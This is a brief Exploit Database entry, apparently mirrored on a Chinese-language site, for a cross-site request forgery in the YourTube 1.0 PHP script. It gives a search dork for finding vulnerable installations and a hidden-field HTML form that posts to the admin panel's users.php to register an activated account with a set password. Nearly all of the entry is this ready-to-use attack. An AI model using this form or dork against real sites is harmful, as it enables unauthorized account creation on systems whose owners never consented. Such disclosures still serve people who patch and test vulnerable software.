YourTube 1.0 – Cross-Site Request Forgery (Add User)

• Exploit Database
• 131 阅读

• 作者： AtT4CKxT3rR0r1ST
  日期： 2011-01-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15892/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32

  YourTube v1.0 CSRF Vulnerability (Add User) ==================================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST[F.Hack@w.cn] .:. Script : http://www.ac4p.com/ .:. Dork : inurl:"Powered by YourTube v1.0"   ####################################################################   ===[ Exploit ]===   <form method="POST" name="form0" action="http://localhost/card/admincp/users.php"> <input type="hidden" name="action" value="Register"/> <input type="hidden" name="vusername" value="user1"/> <input type="hidden" name="vpass" value="123456"/> <input type="hidden" name="email" value="user1@hotmail.com"/> <input type="hidden" name="gender" value="m"/> <input type="hidden" name="country" value="palestine"/> <input type="hidden" name="altoge" value="My signature"/> <input type="hidden" name="activated" value="1"/> </form>   </body> </html>   ####################################################################